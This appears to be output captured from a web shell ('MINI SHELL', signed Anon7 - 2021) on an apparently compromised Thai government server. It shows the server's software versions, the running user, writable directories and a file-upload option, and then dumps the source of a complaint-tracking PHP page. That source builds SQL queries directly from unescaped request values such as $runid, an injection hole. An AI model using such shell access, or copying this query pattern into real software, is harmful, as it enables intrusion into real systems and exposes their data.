MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /var/www/html/pathumthani_fd/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/pathumthani_fd/report_detail.php
<?
session_start();
include "config/config.inc.php";
include("function/function.php");
if(!isset($session_username)){
header("Location: login.php");
}
$month_arr=array('','มกราคม','กุมภาพันธ์','มีนาคม','เมษายน','พฤษภาคม','มิถุนายน','กรกฏาคม','สิงหาคม','กันยายน','ตุลาคม','พฤศจิกายน','ธันวาคม');
$strSQL = "SELECT * FROM tbl_request  WHERE  runid ='$runid'";
$Result = mysql_db_query($dbname,$strSQL);
$rs = mysql_fetch_assoc($Result);

?>
<html>
<head>
<title><?=$show_title?></title>
<META http-equiv=Content-Type content="text/html; charset=windows-874">
<link href="common/style.css" type="text/css" rel="stylesheet" />
<script language='javascript' src='daily_popcalendar.js'></script>
<script language='javascript' src='displayelement.js'></script>
<style type="text/css">
<!--
body {  margin: 0px  0px; padding: 0px  0px}
a:link { color: #005CA2; text-decoration: none}
a:visited { color: #005CA2; text-decoration: none}
a:active { color: #0099FF; text-decoration: underline}
a:hover { color: #0099FF; text-decoration: underline}
.style2 {color: #000000}
.style3 {color: #FF0000}
-->
</style>

<SCRIPT LANGUAGE="JavaScript">
function CheckForm(){
	var f1 = document.form;	
	a =  Number(f1.date_late.value) ;
	missinginfo = "";
	missinginfo1 = "";

	if (document.form.subject.value == "")  {missinginfo1 += "\n- กรุณากรอก เรื่องร้องเรียน "; }		
	if (document.form.subject_no_in.value == "")  {missinginfo1 += "\n- กรุณากรอก เลขที่หนังสือ "; }	
	if (document.form.date_start.value == "")  {missinginfo1 += "\n- กรุณากรอก วันเริ่มต้น "; }	
	if (document.form.date_end.value == "")  {missinginfo1 += "\n- กรุณากรอก สิ้นสุด "; }	
	if (document.form.date_late.value == "")  {missinginfo1 += "\n- กรุณากรอก จำนวนวันที่แจ้งเตือน"; }		
	if (a == null || !a.toString().match(/^[-]?\d*\.?\d*$/)){ missinginfo1 += "\n- กรุณากรอก วันที่แจ้งเตือนเป็นตัวเลขเท่านั้น "; }

	
	if (missinginfo1 != "") { 	
		missinginfo += "ไม่สามารถบันทึกข้อมูลได้  เนื่องจาก \n";
		missinginfo +="_____________________________\n";
		missinginfo = missinginfo + missinginfo1  ;
		missinginfo += "\n___________________________";
		missinginfo += "\nกรุณาตรวจสอบ อีกครั้ง";
		alert(missinginfo);
		return false;
	}
}
</SCRIPT>
<script language="javascript">
function popWindow(url, w, h){

	var popup		= "Popup"; 
	if(w == "") 	w = 420;
	if(h == "") 	h = 300;
	var newwin 	= window.open(url, popup,'location=0,status=no,scrollbars=no,resizable=no,width=' + w + ',height=' + h + ',top=20');
	newwin.focus();

}
function popWindow1(url, w, h){

	var popup		= "Popup"; 
	if(w == "") 	w = 420;
	if(h == "") 	h = 300;
	var newwin 	= window.open(url, popup,'location=0,status=no,scrollbars=no,resizable=no,width=' + w + ',height=' + h + ',top=20');
	newwin.focus();

}
function popWindow2(url, w, h){

	var popup		= "Popup"; 
	if(w == "") 	w = 420;
	if(h == "") 	h = 300;
	var newwin 	= window.open(url, popup,'location=0,status=no,scrollbars=no,resizable=no,width=' + w + ',height=' + h + ',top=20');
	newwin.focus();

}

</script>
<script language="javascript">
function clearselect()
{
	document.post.salary_day.disabled=true;
	document.post.salary_month.disabled=true;
	document.post.salary_year.disabled=true;
	document.post.label_date.disabled=true;
	
	 if (document.post.salary_day.value!="")
 	{
       document.post.salary_day.value="";
	   document.post.salary_day.disabled=true;
    }
	 if (document.post.salary_month.value!="")
 	{
       document.post.salary_month.value="";
	   document.post.salary_month.disabled=true;
    }
	
	 if (document.post.salary_year.value!="")
 	{
       document.post.salary_year.value="";
	   document.post.salary_year.disabled=true;
    }
	 if (document.post.label_date.value!="")
 	{
       document.post.label_date.value="";
	   document.post.label_date.disabled=true;
    }
}
</script>
</head>
<body >
<table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0" style="filter:progid:DXImageTransform.Microsoft.Gradient(GradientType=0, StartColorStr='#144C85', EndColorStr='#ffffff');">
  <tr>
    <td valign="top" background="bimg/bg1.gif" style="background-repeat: no-repeat; background-position:right bottom "><table width="100%" border="0" cellpadding="0" cellspacing="0">
<tr><td valign="top"></td></tr>
      <tr>
        <td valign="top" >
              <table width="99%" border="0" align="center" cellpadding="3" cellspacing="1" bgcolor="#FFFFFF">
                <tr>
                  <td colspan=3 align="left" valign="top" bgcolor="#8DA0C0"><B class="plink style2">
                    รายละเอียดติดตามเรื่องร้องเรียน</B></td>
                </tr>
                <tr>
                  <td width="25%" align="right" valign="middle" class="link_back">หน่วยงานที่ร้องเรียน</td>
                  <td width="75%" align="left">
				  <?
				  	$sql_org = "SELECT * FROM tbl_department WHERE id='$rs[office_id]'";
					$result_org = @mysql_db_query($dbname,$sql_org);
					$rs_org = @mysql_fetch_assoc($result_org);
					echo $rs_org[office];
				  ?>				  </td>
                </tr>
                <tr>
                  <td align="right" valign="middle" class="link_back">ประเภทเรื่องร้องเรียน</td>
                  <td align="left">
				  <?
				  	$sql_type_pro = "SELECT * FROM tbl_type_problem WHERE type_id='$rs[type_problem]'";
					//echo $sql_type_pro;
					$result_type_pro = @mysql_db_query($dbname,$sql_type_pro);
					$rs_pro = @mysql_fetch_assoc($result_type_pro);
					echo $rs_pro[type_problem];
				  ?>				  </td>
                </tr>
                <tr>
                  <td align="right" valign="middle" class="link_back">เรื่องร้องเรียน</td>
                  <td align="left"><?=$rs[subject]?></td>
                </tr>
                <tr>
                  <td height="24" align="right" valign="middle" class="link_back">เลขที่หนังสือ</td>
                  <td align="left" valign="middle"><?=$rs[subject_no_in]?></td>
                </tr>
                <tr>
                  <td align="right" valign="middle" class="link_back">เสนอผู้ว่าราชการจังหวัด</td>
                  <td align="left" valign="top"><? if($rs[status_ceo] == '1'){ echo "เสนอ";}else{ echo "ไม่เสนอ";}?></td>
                </tr>
                <tr>
                  <td align="right" valign="middle" class="link_back">วันที่ลงนาม</td>
                  <td align="left" valign="top"><? if($rs[date_ceosing] != ""){ $arr_d1 = explode("-",$rs[date_ceosing]); echo intval($arr_d1[2])." ".$month_arr[intval($arr_d1[1])]." ".$arr_d1[0];}else{ echo "";}?></td>
                </tr>
                <tr>
                  <td align="right" valign="middle" class="link_back">ผู้รับเรื่อง</td>
                  <td align="left" valign="top"><?=$rs[subject_form]?></td>
                </tr>
                <tr>
                  <td align="right" valign="middle" class="link_back">ผู้รับผิดชอบ</td>
                  <td align="left" valign="top"><?=$rs[person_res]?></td>
                </tr>
                <tr>
                  <td align="right" valign="middle" class="link_back">เลขที่หนังสือออก</td>
                  <td align="left" valign="top"><?=$rs[subject_no_out]?></td>
                </tr>
                
                
                <tr>
                  <td align="right" valign="top" class="link_back">วันเดือนปีหนังสือเข้า</td>
                  <td align="left" valign="top"><? if($rs[date_start] != ""){ $arr_d2 = explode("-",$rs[date_start]); echo intval($arr_d2[2])." ".$month_arr[intval($arr_d2[1])]." ".$arr_d2[0];}else{ echo "";}?></td>
                </tr>
                <tr>
                  <td align="right" valign="top" class="link_back">วันเดือนปีสิ้นสุด</td>
                  <td align="left" valign="top"><? if($rs[date_end] != ""){ $arr_d3 = explode("-",$rs[date_end]); echo intval($arr_d3[2])." ".$month_arr[intval($arr_d3[1])]." ".$arr_d3[0];}else{ echo "";}?></td>
                </tr>
                <tr>
                  <td align="right" valign="top" class="link_back">วันแจ้งเตือนก่อนดำเนินการเสร็จ</td>
                  <td align="left" valign="top"><?=$rs[date_late]?></td>
                </tr>
                <tr>
                  <td height="24" align="right" valign="top" bgcolor="#FFFFFF"><span class="link_back">หน่วยงานที่รับเรื่อง</span></td>
                  <td align="left" valign="middle" bgcolor="#FFFFFF" class="link_back"><?=$rs[depart]?></td>
                </tr>
                <tr>
                  <td height="24" align="right" valign="top" bgcolor="#FFFFFF"><strong>วันเดือนปีที่ดำเนินการเสร็จ</strong></td>
                  <td align="left" valign="middle" bgcolor="#FFFFFF" class="link_back"><? if($rs[date_complate] != ""){ $arr_d4 = explode("-",$rs[date_complate]); echo intval($arr_d4[2])." ".$month_arr[intval($arr_d4[1])]." ".$arr_d4[0];}else{ echo "";}?></td>
                </tr>
                <tr>
                  <td height="24" align="right" valign="top" bgcolor="#FFFFFF"><strong>รายละเอียด</strong></td>
                  <td align="left" valign="middle" bgcolor="#FFFFFF" class="link_back"><?=$rs[detail]?></td>
                </tr>
                <tr>
                  <td height="24" align="right" valign="top" bgcolor="#FFFFFF"></td>
                  <td align="left" valign="middle" bgcolor="#FFFFFF" class="link_back">&nbsp;</td>
                </tr>
            </table>

		</td>
      </tr>
	  <tr>
	  <td>&nbsp;</td>
	  </tr>
    </table></td>
  </tr>
</table>
</body>
</html>

Anon7 - 2021